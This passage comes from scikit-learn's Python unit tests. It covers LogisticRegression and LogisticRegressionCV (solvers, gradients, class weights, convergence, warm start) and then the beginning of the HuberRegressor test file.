    for solver in ['lbfgs', 'newton-cg', 'sag']:
        clf = LogisticRegression(solver=solver, multi_class='multinomial',
                                 random_state=42, max_iter=2000)
        clf.fit(iris.data, target)

        assert_equal(clf.coef_.shape, (1, iris.data.shape[1]))
        assert_equal(clf.intercept_.shape, (1,))
        assert_array_equal(clf.predict(iris.data), target)

        mlr = LogisticRegression(solver=solver, multi_class='multinomial',
                                 random_state=42, fit_intercept=False)
        mlr.fit(iris.data, target)
        pred = clf.classes_[np.argmax(clf.predict_log_proba(iris.data),
                                      axis=1)]
        assert_greater(np.mean(pred == target), .9)


def test_sparsify():
    # Test sparsify and densify members.
    n_samples, n_features = iris.data.shape
    target = iris.target_names[iris.target]
    clf = LogisticRegression(random_state=0).fit(iris.data, target)

    pred_d_d = clf.decision_function(iris.data)

    clf.sparsify()
    assert_true(sp.issparse(clf.coef_))
    pred_s_d = clf.decision_function(iris.data)

    sp_data = sp.coo_matrix(iris.data)
    pred_s_s = clf.decision_function(sp_data)

    clf.densify()
    pred_d_s = clf.decision_function(sp_data)

    assert_array_almost_equal(pred_d_d, pred_s_d)
    assert_array_almost_equal(pred_d_d, pred_s_s)
    assert_array_almost_equal(pred_d_d, pred_d_s)


def test_inconsistent_input():
    # Test that an exception is raised on inconsistent input
    rng = np.random.RandomState(0)
    X_ = rng.random_sample((5, 10))
    y_ = np.ones(X_.shape[0])
    y_[0] = 0

    clf = LogisticRegression(random_state=0)

    # Wrong dimensions for training data
    y_wrong = y_[:-1]
    assert_raises(ValueError, clf.fit, X, y_wrong)

    # Wrong dimensions for test data
    assert_raises(ValueError, clf.fit(X_, y_).predict,
                  rng.random_sample((3, 12)))


def test_write_parameters():
    # Test that we can write to coef_ and intercept_
    clf = LogisticRegression(random_state=0)
    clf.fit(X, Y1)
    clf.coef_[:] = 0
    clf.intercept_[:] = 0
    assert_array_almost_equal(clf.decision_function(X), 0)


@raises(ValueError)
def test_nan():
    # Test proper NaN handling.
    # Regression test for Issue #252: fit used to go into an infinite loop.
    Xnan = np.array(X, dtype=np.float64)
    Xnan[0, 1] = np.nan
    LogisticRegression(random_state=0).fit(Xnan, Y1)


def test_consistency_path():
    # Test that the path algorithm is consistent
    rng = np.random.RandomState(0)
    X = np.concatenate((rng.randn(100, 2) + [1, 1], rng.randn(100, 2)))
    y = [1] * 100 + [-1] * 100
    Cs = np.logspace(0, 4, 10)

    f = ignore_warnings
    # can't test with fit_intercept=True since LIBLINEAR
    # penalizes the intercept
    for solver in ('lbfgs', 'newton-cg', 'liblinear', 'sag'):
        coefs, Cs, _ = f(logistic_regression_path)(
            X, y, Cs=Cs, fit_intercept=False, tol=1e-5, solver=solver,
            random_state=0)
        for i, C in enumerate(Cs):
            lr = LogisticRegression(C=C, fit_intercept=False, tol=1e-5,
                                    random_state=0)
            lr.fit(X, y)
            lr_coef = lr.coef_.ravel()
            assert_array_almost_equal(lr_coef, coefs[i], decimal=4,
                                      err_msg="with solver = %s" % solver)

    # test for fit_intercept=True
    for solver in ('lbfgs', 'newton-cg', 'liblinear', 'sag'):
        Cs = [1e3]
        coefs, Cs, _ = f(logistic_regression_path)(
            X, y, Cs=Cs, fit_intercept=True, tol=1e-6, solver=solver,
            intercept_scaling=10000., random_state=0)
        lr = LogisticRegression(C=Cs[0], fit_intercept=True, tol=1e-4,
                                intercept_scaling=10000., random_state=0)
        lr.fit(X, y)
        lr_coef = np.concatenate([lr.coef_.ravel(), lr.intercept_])
        assert_array_almost_equal(lr_coef, coefs[0], decimal=4,
                                  err_msg="with solver = %s" % solver)


def test_liblinear_dual_random_state():
    # random_state is relevant for liblinear solver only if dual=True
    X, y = make_classification(n_samples=20)
    lr1 = LogisticRegression(random_state=0, dual=True, max_iter=1, tol=1e-15)
    lr1.fit(X, y)
    lr2 = LogisticRegression(random_state=0, dual=True, max_iter=1, tol=1e-15)
    lr2.fit(X, y)
    lr3 = LogisticRegression(random_state=8, dual=True, max_iter=1, tol=1e-15)
    lr3.fit(X, y)

    # same result for same random state
    assert_array_almost_equal(lr1.coef_, lr2.coef_)
    # different results for different random states
    msg = "Arrays are not almost equal to 6 decimals"
    assert_raise_message(AssertionError, msg,
                         assert_array_almost_equal, lr1.coef_, lr3.coef_)


def test_logistic_loss_and_grad():
    X_ref, y = make_classification(n_samples=20)
    n_features = X_ref.shape[1]

    X_sp = X_ref.copy()
    X_sp[X_sp < .1] = 0
    X_sp = sp.csr_matrix(X_sp)
    for X in (X_ref, X_sp):
        w = np.zeros(n_features)

        # First check that our derivation of the grad is correct
        loss, grad = _logistic_loss_and_grad(w, X, y, alpha=1.)
        approx_grad = optimize.approx_fprime(
            w, lambda w: _logistic_loss_and_grad(w, X, y, alpha=1.)[0], 1e-3
            )
        assert_array_almost_equal(grad, approx_grad, decimal=2)

        # Second check that our intercept implementation is good
        w = np.zeros(n_features + 1)
        loss_interp, grad_interp = _logistic_loss_and_grad(
            w, X, y, alpha=1.
            )
        assert_array_almost_equal(loss, loss_interp)

        approx_grad = optimize.approx_fprime(
            w, lambda w: _logistic_loss_and_grad(w, X, y, alpha=1.)[0], 1e-3
            )
        assert_array_almost_equal(grad_interp, approx_grad, decimal=2)


def test_logistic_grad_hess():
    rng = np.random.RandomState(0)
    n_samples, n_features = 50, 5
    X_ref = rng.randn(n_samples, n_features)
    y = np.sign(X_ref.dot(5 * rng.randn(n_features)))
    X_ref -= X_ref.mean()
    X_ref /= X_ref.std()
    X_sp = X_ref.copy()
    X_sp[X_sp < .1] = 0
    X_sp = sp.csr_matrix(X_sp)
    for X in (X_ref, X_sp):
        w = .1 * np.ones(n_features)

        # First check that _logistic_grad_hess is consistent
        # with _logistic_loss_and_grad
        loss, grad = _logistic_loss_and_grad(w, X, y, alpha=1.)
        grad_2, hess = _logistic_grad_hess(w, X, y, alpha=1.)
        assert_array_almost_equal(grad, grad_2)

        # Now check our hessian along the second direction of the grad
        vector = np.zeros_like(grad)
        vector[1] = 1
        hess_col = hess(vector)

        # Computation of the Hessian is particularly fragile to numerical
        # errors when doing simple finite differences. Here we compute the
        # grad along a path in the direction of the vector and then use a
        # least-square regression to estimate the slope
        e = 1e-3
        d_x = np.linspace(-e, e, 30)
        d_grad = np.array([
            _logistic_loss_and_grad(w + t * vector, X, y, alpha=1.)[1]
            for t in d_x
            ])

        d_grad -= d_grad.mean(axis=0)
        approx_hess_col = linalg.lstsq(d_x[:, np.newaxis], d_grad)[0].ravel()

        assert_array_almost_equal(approx_hess_col, hess_col, decimal=3)

        # Second check that our intercept implementation is good
        w = np.zeros(n_features + 1)
        loss_interp, grad_interp = _logistic_loss_and_grad(w, X, y, alpha=1.)
        loss_interp_2 = _logistic_loss(w, X, y, alpha=1.)
        grad_interp_2, hess = _logistic_grad_hess(w, X, y, alpha=1.)
        assert_array_almost_equal(loss_interp, loss_interp_2)
        assert_array_almost_equal(grad_interp, grad_interp_2)


def test_logistic_cv():
    # test for LogisticRegressionCV object
    n_samples, n_features = 50, 5
    rng = np.random.RandomState(0)
    X_ref = rng.randn(n_samples, n_features)
    y = np.sign(X_ref.dot(5 * rng.randn(n_features)))
    X_ref -= X_ref.mean()
    X_ref /= X_ref.std()
    lr_cv = LogisticRegressionCV(Cs=[1.], fit_intercept=False,
                                 solver='liblinear')
    lr_cv.fit(X_ref, y)
    lr = LogisticRegression(C=1., fit_intercept=False)
    lr.fit(X_ref, y)
    assert_array_almost_equal(lr.coef_, lr_cv.coef_)

    assert_array_equal(lr_cv.coef_.shape, (1, n_features))
    assert_array_equal(lr_cv.classes_, [-1, 1])
    assert_equal(len(lr_cv.classes_), 2)

    coefs_paths = np.asarray(list(lr_cv.coefs_paths_.values()))
    assert_array_equal(coefs_paths.shape, (1, 3, 1, n_features))
    assert_array_equal(lr_cv.Cs_.shape, (1, ))
    scores = np.asarray(list(lr_cv.scores_.values()))
    assert_array_equal(scores.shape, (1, 3, 1))


def test_logistic_cv_sparse():
    X, y = make_classification(n_samples=50, n_features=5,
                               random_state=0)
    X[X < 1.0] = 0.0
    csr = sp.csr_matrix(X)

    clf = LogisticRegressionCV(fit_intercept=True)
    clf.fit(X, y)
    clfs = LogisticRegressionCV(fit_intercept=True)
    clfs.fit(csr, y)
    assert_array_almost_equal(clfs.coef_, clf.coef_)
    assert_array_almost_equal(clfs.intercept_, clf.intercept_)
    assert_equal(clfs.C_, clf.C_)


def test_intercept_logistic_helper():
    n_samples, n_features = 10, 5
    X, y = make_classification(n_samples=n_samples, n_features=n_features,
                               random_state=0)

    # Fit intercept case.
    alpha = 1.
    w = np.ones(n_features + 1)
    grad_interp, hess_interp = _logistic_grad_hess(w, X, y, alpha)
    loss_interp = _logistic_loss(w, X, y, alpha)

    # Do not fit intercept. This can be considered equivalent to adding
    # a feature vector of ones, i.e column of one vectors.
    X_ = np.hstack((X, np.ones(10)[:, np.newaxis]))
    grad, hess = _logistic_grad_hess(w, X_, y, alpha)
    loss = _logistic_loss(w, X_, y, alpha)

    # In the fit_intercept=False case, the feature vector of ones is
    # penalized. This should be taken care of.
    assert_almost_equal(loss_interp + 0.5 * (w[-1] ** 2), loss)

    # Check gradient.
    assert_array_almost_equal(grad_interp[:n_features], grad[:n_features])
    assert_almost_equal(grad_interp[-1] + alpha * w[-1], grad[-1])

    rng = np.random.RandomState(0)
    grad = rng.rand(n_features + 1)
    hess_interp = hess_interp(grad)
    hess = hess(grad)
    assert_array_almost_equal(hess_interp[:n_features], hess[:n_features])
    assert_almost_equal(hess_interp[-1] + alpha * grad[-1], hess[-1])


def test_ovr_multinomial_iris():
    # Test that OvR and multinomial are correct using the iris dataset.
    train, target = iris.data, iris.target
    n_samples, n_features = train.shape

    # The cv indices from stratified kfold (where stratification is done based
    # on the fine-grained iris classes, i.e, before the classes 0 and 1 are
    # conflated) is used for both clf and clf1
    n_cv = 2
    cv = StratifiedKFold(n_cv)
    precomputed_folds = list(cv.split(train, target))

    # Train clf on the original dataset where classes 0 and 1 are separated
    clf = LogisticRegressionCV(cv=precomputed_folds)
    clf.fit(train, target)

    # Conflate classes 0 and 1 and train clf1 on this modified dataset
    clf1 = LogisticRegressionCV(cv=precomputed_folds)
    target_copy = target.copy()
    target_copy[target_copy == 0] = 1
    clf1.fit(train, target_copy)

    # Ensure that what OvR learns for class2 is same regardless of whether
    # classes 0 and 1 are separated or not
    assert_array_almost_equal(clf.scores_[2], clf1.scores_[2])
    assert_array_almost_equal(clf.intercept_[2:], clf1.intercept_)
    assert_array_almost_equal(clf.coef_[2][np.newaxis, :], clf1.coef_)

    # Test the shape of various attributes.
    assert_equal(clf.coef_.shape, (3, n_features))
    assert_array_equal(clf.classes_, [0, 1, 2])
    coefs_paths = np.asarray(list(clf.coefs_paths_.values()))
    assert_array_almost_equal(coefs_paths.shape, (3, n_cv, 10, n_features + 1))
    assert_equal(clf.Cs_.shape, (10, ))
    scores = np.asarray(list(clf.scores_.values()))
    assert_equal(scores.shape, (3, n_cv, 10))

    # Test that for the iris data multinomial gives a better accuracy than OvR
    for solver in ['lbfgs', 'newton-cg', 'sag']:
        max_iter = 100 if solver == 'sag' else 15
        clf_multi = LogisticRegressionCV(
            solver=solver, multi_class='multinomial', max_iter=max_iter,
            random_state=42, tol=1e-2, cv=2)
        clf_multi.fit(train, target)
        multi_score = clf_multi.score(train, target)
        ovr_score = clf.score(train, target)
        assert_greater(multi_score, ovr_score)

        # Test attributes of LogisticRegressionCV
        assert_equal(clf.coef_.shape, clf_multi.coef_.shape)
        assert_array_equal(clf_multi.classes_, [0, 1, 2])
        coefs_paths = np.asarray(list(clf_multi.coefs_paths_.values()))
        assert_array_almost_equal(coefs_paths.shape, (3, n_cv, 10,
                                                      n_features + 1))
        assert_equal(clf_multi.Cs_.shape, (10, ))
        scores = np.asarray(list(clf_multi.scores_.values()))
        assert_equal(scores.shape, (3, n_cv, 10))


def test_logistic_regression_solvers():
    X, y = make_classification(n_features=10, n_informative=5, random_state=0)

    ncg = LogisticRegression(solver='newton-cg', fit_intercept=False)
    lbf = LogisticRegression(solver='lbfgs', fit_intercept=False)
    lib = LogisticRegression(fit_intercept=False)
    sag = LogisticRegression(solver='sag', fit_intercept=False,
                             random_state=42)
    ncg.fit(X, y)
    lbf.fit(X, y)
    sag.fit(X, y)
    lib.fit(X, y)
    assert_array_almost_equal(ncg.coef_, lib.coef_, decimal=3)
    assert_array_almost_equal(lib.coef_, lbf.coef_, decimal=3)
    assert_array_almost_equal(ncg.coef_, lbf.coef_, decimal=3)
    assert_array_almost_equal(sag.coef_, lib.coef_, decimal=3)
    assert_array_almost_equal(sag.coef_, ncg.coef_, decimal=3)
    assert_array_almost_equal(sag.coef_, lbf.coef_, decimal=3)


def test_logistic_regression_solvers_multiclass():
    X, y = make_classification(n_samples=20, n_features=20, n_informative=10,
                               n_classes=3, random_state=0)
    tol = 1e-6
    ncg = LogisticRegression(solver='newton-cg', fit_intercept=False, tol=tol)
    lbf = LogisticRegression(solver='lbfgs', fit_intercept=False, tol=tol)
    lib = LogisticRegression(fit_intercept=False, tol=tol)
    sag = LogisticRegression(solver='sag', fit_intercept=False, tol=tol,
                             max_iter=1000, random_state=42)
    ncg.fit(X, y)
    lbf.fit(X, y)
    sag.fit(X, y)
    lib.fit(X, y)
    assert_array_almost_equal(ncg.coef_, lib.coef_, decimal=4)
    assert_array_almost_equal(lib.coef_, lbf.coef_, decimal=4)
    assert_array_almost_equal(ncg.coef_, lbf.coef_, decimal=4)
    assert_array_almost_equal(sag.coef_, lib.coef_, decimal=4)
    assert_array_almost_equal(sag.coef_, ncg.coef_, decimal=4)
    assert_array_almost_equal(sag.coef_, lbf.coef_, decimal=4)


def test_logistic_regressioncv_class_weights():
    for weight in [{0: 0.1, 1: 0.2}, {0: 0.1, 1: 0.2, 2: 0.5}]:
        n_classes = len(weight)
        for class_weight in (weight, 'balanced'):
            X, y = make_classification(n_samples=30, n_features=3,
                                       n_repeated=0,
                                       n_informative=3, n_redundant=0,
                                       n_classes=n_classes, random_state=0)

            clf_lbf = LogisticRegressionCV(solver='lbfgs', Cs=1,
                                           fit_intercept=False,
                                           class_weight=class_weight)
            clf_ncg = LogisticRegressionCV(solver='newton-cg', Cs=1,
                                           fit_intercept=False,
                                           class_weight=class_weight)
            clf_lib = LogisticRegressionCV(solver='liblinear', Cs=1,
                                           fit_intercept=False,
                                           class_weight=class_weight)
            clf_sag = LogisticRegressionCV(solver='sag', Cs=1,
                                           fit_intercept=False,
                                           class_weight=class_weight,
                                           tol=1e-5, max_iter=10000,
                                           random_state=0)
            clf_lbf.fit(X, y)
            clf_ncg.fit(X, y)
            clf_lib.fit(X, y)
            clf_sag.fit(X, y)
            assert_array_almost_equal(clf_lib.coef_, clf_lbf.coef_, decimal=4)
            assert_array_almost_equal(clf_ncg.coef_, clf_lbf.coef_, decimal=4)
            assert_array_almost_equal(clf_sag.coef_, clf_lbf.coef_, decimal=4)


def test_logistic_regression_sample_weights():
    X, y = make_classification(n_samples=20, n_features=5, n_informative=3,
                               n_classes=2, random_state=0)
    sample_weight = y + 1

    for LR in [LogisticRegression, LogisticRegressionCV]:

        # Test that passing sample_weight as ones is the same as
        # not passing them at all (default None)
        for solver in ['lbfgs', 'liblinear']:
            clf_sw_none = LR(solver=solver, fit_intercept=False)
            clf_sw_none.fit(X, y)
            clf_sw_ones = LR(solver=solver, fit_intercept=False)
            clf_sw_ones.fit(X, y, sample_weight=np.ones(y.shape[0]))
            assert_array_almost_equal(
                clf_sw_none.coef_, clf_sw_ones.coef_, decimal=4)

        # Test that sample weights work the same with the lbfgs,
        # newton-cg, and 'sag' solvers
        clf_sw_lbfgs = LR(solver='lbfgs', fit_intercept=False)
        clf_sw_lbfgs.fit(X, y, sample_weight=sample_weight)
        clf_sw_n = LR(solver='newton-cg', fit_intercept=False)
        clf_sw_n.fit(X, y, sample_weight=sample_weight)
        clf_sw_sag = LR(solver='sag', fit_intercept=False, tol=1e-10)
        # ignore convergence warning due to small dataset
        with ignore_warnings():
            clf_sw_sag.fit(X, y, sample_weight=sample_weight)
        clf_sw_liblinear = LR(solver='liblinear', fit_intercept=False)
        clf_sw_liblinear.fit(X, y, sample_weight=sample_weight)
        assert_array_almost_equal(
            clf_sw_lbfgs.coef_, clf_sw_n.coef_, decimal=4)
        assert_array_almost_equal(
            clf_sw_lbfgs.coef_, clf_sw_sag.coef_, decimal=4)
        assert_array_almost_equal(
            clf_sw_lbfgs.coef_, clf_sw_liblinear.coef_, decimal=4)

        # Test that passing class_weight as [1,2] is the same as
        # passing class weight = [1,1] but adjusting sample weights
        # to be 2 for all instances of class 2
        for solver in ['lbfgs', 'liblinear']:
            clf_cw_12 = LR(solver=solver, fit_intercept=False,
                           class_weight={0: 1, 1: 2})
            clf_cw_12.fit(X, y)
            clf_sw_12 = LR(solver=solver, fit_intercept=False)
            clf_sw_12.fit(X, y, sample_weight=sample_weight)
            assert_array_almost_equal(
                clf_cw_12.coef_, clf_sw_12.coef_, decimal=4)

    # Test the above for l1 penalty and l2 penalty with dual=True.
    # since the patched liblinear code is different.
    clf_cw = LogisticRegression(
        solver="liblinear", fit_intercept=False, class_weight={0: 1, 1: 2},
        penalty="l1", tol=1e-5)
    clf_cw.fit(X, y)
    clf_sw = LogisticRegression(
        solver="liblinear", fit_intercept=False, penalty="l1", tol=1e-5)
    clf_sw.fit(X, y, sample_weight)
    assert_array_almost_equal(clf_cw.coef_, clf_sw.coef_, decimal=4)

    clf_cw = LogisticRegression(
        solver="liblinear", fit_intercept=False, class_weight={0: 1, 1: 2},
        penalty="l2", dual=True)
    clf_cw.fit(X, y)
    clf_sw = LogisticRegression(
        solver="liblinear", fit_intercept=False, penalty="l2", dual=True)
    clf_sw.fit(X, y, sample_weight)
    assert_array_almost_equal(clf_cw.coef_, clf_sw.coef_, decimal=4)


def _compute_class_weight_dictionary(y):
    # helper for returning a dictionary instead of an array
    classes = np.unique(y)
    class_weight = compute_class_weight("balanced", classes, y)
    class_weight_dict = dict(zip(classes, class_weight))
    return class_weight_dict


def test_logistic_regression_class_weights():
    # Multinomial case: remove 90% of class 0
    X = iris.data[45:, :]
    y = iris.target[45:]
    solvers = ("lbfgs", "newton-cg")
    class_weight_dict = _compute_class_weight_dictionary(y)

    for solver in solvers:
        clf1 = LogisticRegression(solver=solver, multi_class="multinomial",
                                  class_weight="balanced")
        clf2 = LogisticRegression(solver=solver, multi_class="multinomial",
                                  class_weight=class_weight_dict)
        clf1.fit(X, y)
        clf2.fit(X, y)
        assert_array_almost_equal(clf1.coef_, clf2.coef_, decimal=4)

    # Binary case: remove 90% of class 0 and 100% of class 2
    X = iris.data[45:100, :]
    y = iris.target[45:100]
    solvers = ("lbfgs", "newton-cg", "liblinear")
    class_weight_dict = _compute_class_weight_dictionary(y)

    for solver in solvers:
        clf1 = LogisticRegression(solver=solver, multi_class="ovr",
                                  class_weight="balanced")
        clf2 = LogisticRegression(solver=solver, multi_class="ovr",
                                  class_weight=class_weight_dict)
        clf1.fit(X, y)
        clf2.fit(X, y)
        assert_array_almost_equal(clf1.coef_, clf2.coef_, decimal=6)


def test_multinomial_logistic_regression_with_classweight_auto():
    X, y = iris.data, iris.target
    model = LogisticRegression(multi_class='multinomial',
                               class_weight='auto', solver='lbfgs')
    # 'auto' is deprecated and will be removed in 0.19
    assert_warns_message(DeprecationWarning,
                         "class_weight='auto' heuristic is deprecated",
                         model.fit, X, y)


def test_logistic_regression_convergence_warnings():
    # Test that warnings are raised if model does not converge

    X, y = make_classification(n_samples=20, n_features=20)
    clf_lib = LogisticRegression(solver='liblinear', max_iter=2, verbose=1)
    assert_warns(ConvergenceWarning, clf_lib.fit, X, y)
    assert_equal(clf_lib.n_iter_, 2)


def test_logistic_regression_multinomial():
    # Tests for the multinomial option in logistic regression

    # Some basic attributes of Logistic Regression
    n_samples, n_features, n_classes = 50, 20, 3
    X, y = make_classification(n_samples=n_samples,
                               n_features=n_features,
                               n_informative=10,
                               n_classes=n_classes, random_state=0)

    # 'lbfgs' is used as a referenced
    solver = 'lbfgs'
    ref_i = LogisticRegression(solver=solver, multi_class='multinomial')
    ref_w = LogisticRegression(solver=solver, multi_class='multinomial',
                               fit_intercept=False)
    ref_i.fit(X, y)
    ref_w.fit(X, y)
    assert_array_equal(ref_i.coef_.shape, (n_classes, n_features))
    assert_array_equal(ref_w.coef_.shape, (n_classes, n_features))
    for solver in ['sag', 'newton-cg']:
        clf_i = LogisticRegression(solver=solver, multi_class='multinomial',
                                   random_state=42, max_iter=1000, tol=1e-6)
        clf_w = LogisticRegression(solver=solver, multi_class='multinomial',
                                   random_state=42, max_iter=1000, tol=1e-6,
                                   fit_intercept=False)
        clf_i.fit(X, y)
        clf_w.fit(X, y)
        assert_array_equal(clf_i.coef_.shape, (n_classes, n_features))
        assert_array_equal(clf_w.coef_.shape, (n_classes, n_features))

        # Compare solutions between lbfgs and the other solvers
        assert_almost_equal(ref_i.coef_, clf_i.coef_, decimal=3)
        assert_almost_equal(ref_w.coef_, clf_w.coef_, decimal=3)
        assert_almost_equal(ref_i.intercept_, clf_i.intercept_, decimal=3)

    # Test that the path give almost the same results. However since in this
    # case we take the average of the coefs after fitting across all the
    # folds, it need not be exactly the same.
    for solver in ['lbfgs', 'newton-cg', 'sag']:
        clf_path = LogisticRegressionCV(solver=solver, max_iter=2000, tol=1e-6,
                                        multi_class='multinomial', Cs=[1.])
        clf_path.fit(X, y)
        assert_array_almost_equal(clf_path.coef_, ref_i.coef_, decimal=3)
        assert_almost_equal(clf_path.intercept_, ref_i.intercept_, decimal=3)


def test_multinomial_grad_hess():
    rng = np.random.RandomState(0)
    n_samples, n_features, n_classes = 100, 5, 3
    X = rng.randn(n_samples, n_features)
    w = rng.rand(n_classes, n_features)
    Y = np.zeros((n_samples, n_classes))
    ind = np.argmax(np.dot(X, w.T), axis=1)
    Y[range(0, n_samples), ind] = 1
    w = w.ravel()
    sample_weights = np.ones(X.shape[0])
    grad, hessp = _multinomial_grad_hess(w, X, Y, alpha=1.,
                                         sample_weight=sample_weights)
    # extract first column of hessian matrix
    vec = np.zeros(n_features * n_classes)
    vec[0] = 1
    hess_col = hessp(vec)

    # Estimate hessian using least squares as done in
    # test_logistic_grad_hess
    e = 1e-3
    d_x = np.linspace(-e, e, 30)
    d_grad = np.array([
        _multinomial_grad_hess(w + t * vec, X, Y, alpha=1.,
                               sample_weight=sample_weights)[0]
        for t in d_x
        ])
    d_grad -= d_grad.mean(axis=0)
    approx_hess_col = linalg.lstsq(d_x[:, np.newaxis], d_grad)[0].ravel()
    assert_array_almost_equal(hess_col, approx_hess_col)


def test_liblinear_decision_function_zero():
    # Test negative prediction when decision_function values are zero.
    # Liblinear predicts the positive class when decision_function values
    # are zero. This is a test to verify that we do not do the same.
    # See Issue: https://github.com/scikit-learn/scikit-learn/issues/3600
    # and the PR https://github.com/scikit-learn/scikit-learn/pull/3623
    X, y = make_classification(n_samples=5, n_features=5)
    clf = LogisticRegression(fit_intercept=False)
    clf.fit(X, y)

    # Dummy data such that the decision function becomes zero.
    X = np.zeros((5, 5))
    assert_array_equal(clf.predict(X), np.zeros(5))


def test_liblinear_logregcv_sparse():
    # Test LogRegCV with solver='liblinear' works for sparse matrices

    X, y = make_classification(n_samples=10, n_features=5)
    clf = LogisticRegressionCV(solver='liblinear')
    clf.fit(sparse.csr_matrix(X), y)


def test_logreg_intercept_scaling():
    # Test that the right error message is thrown when intercept_scaling <= 0

    for i in [-1, 0]:
        clf = LogisticRegression(intercept_scaling=i)
        msg = ('Intercept scaling is %r but needs to be greater than 0.'
               ' To disable fitting an intercept,'
               ' set fit_intercept=False.' % clf.intercept_scaling)
        assert_raise_message(ValueError, msg, clf.fit, X, Y1)


def test_logreg_intercept_scaling_zero():
    # Test that intercept_scaling is ignored when fit_intercept is False

    clf = LogisticRegression(fit_intercept=False)
    clf.fit(X, Y1)
    assert_equal(clf.intercept_, 0.)


def test_logreg_cv_penalty():
    # Test that the correct penalty is passed to the final fit.
    X, y = make_classification(n_samples=50, n_features=20, random_state=0)
    lr_cv = LogisticRegressionCV(penalty="l1", Cs=[1.0], solver='liblinear')
    lr_cv.fit(X, y)
    lr = LogisticRegression(penalty="l1", C=1.0, solver='liblinear')
    lr.fit(X, y)
    assert_equal(np.count_nonzero(lr_cv.coef_), np.count_nonzero(lr.coef_))


def test_logreg_predict_proba_multinomial():
    X, y = make_classification(n_samples=10, n_features=20, random_state=0,
                               n_classes=3, n_informative=10)

    # Predicted probabilites using the true-entropy loss should give a
    # smaller loss than those using the ovr method.
    clf_multi = LogisticRegression(multi_class="multinomial", solver="lbfgs")
    clf_multi.fit(X, y)
    clf_multi_loss = log_loss(y, clf_multi.predict_proba(X))
    clf_ovr = LogisticRegression(multi_class="ovr", solver="lbfgs")
    clf_ovr.fit(X, y)
    clf_ovr_loss = log_loss(y, clf_ovr.predict_proba(X))
    assert_greater(clf_ovr_loss, clf_multi_loss)

    # Predicted probabilites using the soft-max function should give a
    # smaller loss than those using the logistic function.
    clf_multi_loss = log_loss(y, clf_multi.predict_proba(X))
    clf_wrong_loss = log_loss(y, clf_multi._predict_proba_lr(X))
    assert_greater(clf_wrong_loss, clf_multi_loss)


@ignore_warnings
def test_max_iter():
    # Test that the maximum number of iteration is reached
    X, y_bin = iris.data, iris.target.copy()
    y_bin[y_bin == 2] = 0

    solvers = ['newton-cg', 'liblinear', 'sag']
    # old scipy doesn't have maxiter
    if sp_version >= (0, 12):
        solvers.append('lbfgs')

    for max_iter in range(1, 5):
        for solver in solvers:
            for multi_class in ['ovr', 'multinomial']:
                if solver == 'liblinear' and multi_class == 'multinomial':
                    continue
                lr = LogisticRegression(max_iter=max_iter, tol=1e-15,
                                        multi_class=multi_class,
                                        random_state=0, solver=solver)
                lr.fit(X, y_bin)
                assert_equal(lr.n_iter_[0], max_iter)


def test_n_iter():
    # Test that self.n_iter_ has the correct format.
    X, y = iris.data, iris.target
    y_bin = y.copy()
    y_bin[y_bin == 2] = 0

    n_Cs = 4
    n_cv_fold = 2

    for solver in ['newton-cg', 'liblinear', 'sag', 'lbfgs']:
        # OvR case
        n_classes = 1 if solver == 'liblinear' else np.unique(y).shape[0]
        clf = LogisticRegression(tol=1e-2, multi_class='ovr',
                                 solver=solver, C=1.,
                                 random_state=42, max_iter=100)
        clf.fit(X, y)
        assert_equal(clf.n_iter_.shape, (n_classes,))

        n_classes = np.unique(y).shape[0]
        clf = LogisticRegressionCV(tol=1e-2, multi_class='ovr',
                                   solver=solver, Cs=n_Cs, cv=n_cv_fold,
                                   random_state=42, max_iter=100)
        clf.fit(X, y)
        assert_equal(clf.n_iter_.shape, (n_classes, n_cv_fold, n_Cs))
        clf.fit(X, y_bin)
        assert_equal(clf.n_iter_.shape, (1, n_cv_fold, n_Cs))

        # multinomial case
        n_classes = 1
        if solver in ('liblinear', 'sag'):
            break

        clf = LogisticRegression(tol=1e-2, multi_class='multinomial',
                                 solver=solver, C=1.,
                                 random_state=42, max_iter=100)
        clf.fit(X, y)
        assert_equal(clf.n_iter_.shape, (n_classes,))

        clf = LogisticRegressionCV(tol=1e-2, multi_class='multinomial',
                                   solver=solver, Cs=n_Cs, cv=n_cv_fold,
                                   random_state=42, max_iter=100)
        clf.fit(X, y)
        assert_equal(clf.n_iter_.shape, (n_classes, n_cv_fold, n_Cs))
        clf.fit(X, y_bin)
        assert_equal(clf.n_iter_.shape, (1, n_cv_fold, n_Cs))


def test_warm_start():
    # A 1-iteration second fit on same data should give almost same result
    # with warm starting, and quite different result without warm starting.
    # Warm starting does not work with liblinear solver.
    X, y = iris.data, iris.target

    solvers = ['newton-cg', 'sag']
    # old scipy doesn't have maxiter
    if sp_version >= (0, 12):
        solvers.append('lbfgs')

    for warm_start in [True, False]:
        for fit_intercept in [True, False]:
            for solver in solvers:
                for multi_class in ['ovr', 'multinomial']:
                    clf = LogisticRegression(tol=1e-4, multi_class=multi_class,
                                             warm_start=warm_start,
                                             solver=solver,
                                             random_state=42, max_iter=100,
                                             fit_intercept=fit_intercept)
                    with ignore_warnings(category=ConvergenceWarning):
                        clf.fit(X, y)
                        coef_1 = clf.coef_

                        clf.max_iter = 1
                        clf.fit(X, y)
                    cum_diff = np.sum(np.abs(coef_1 - clf.coef_))
                    msg = ("Warm starting issue with %s solver in %s mode "
                           "with fit_intercept=%s and warm_start=%s"
                           % (solver, multi_class, str(fit_intercept),
                              str(warm_start)))
                    if warm_start:
                        assert_greater(2.0, cum_diff, msg)
                    else:
                        assert_greater(cum_diff, 2.0, msg)






# Authors: Manoj Kumar mks542@nyu.edu
# License: BSD 3 clause

import numpy as np
from scipy import optimize, sparse

from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_false

from sklearn.datasets import make_regression
from sklearn.linear_model import (
    HuberRegressor, LinearRegression, SGDRegressor, Ridge)
from sklearn.linear_model.huber import _huber_loss_and_gradient


def make_regression_with_outliers(n_samples=50, n_features=20):
    rng = np.random.RandomState(0)
    # Generate data with outliers by replacing 10% of the samples with noise.
    X, y = make_regression(
        n_samples=n_samples, n_features=n_features,
        random_state=0, noise=0.05)

    # Replace 10% of the sample with noise.
    num_noise = int(0.1 * n_samples)
    random_samples = rng.randint(0, n_samples, num_noise)
    X[random_samples, :] = 2.0 * rng.normal(0, 1, (num_noise, X.shape[1]))
    return X, y


def test_huber_equals_lr_for_high_epsilon():
    # Test that Ridge matches LinearRegression for large epsilon
    X, y = make_regression_with_outliers()
    lr = LinearRegression(fit_intercept=True)
    lr.fit(X, y)
    huber = HuberRegressor(fit_intercept=True, epsilon=1e3, alpha=0.0)
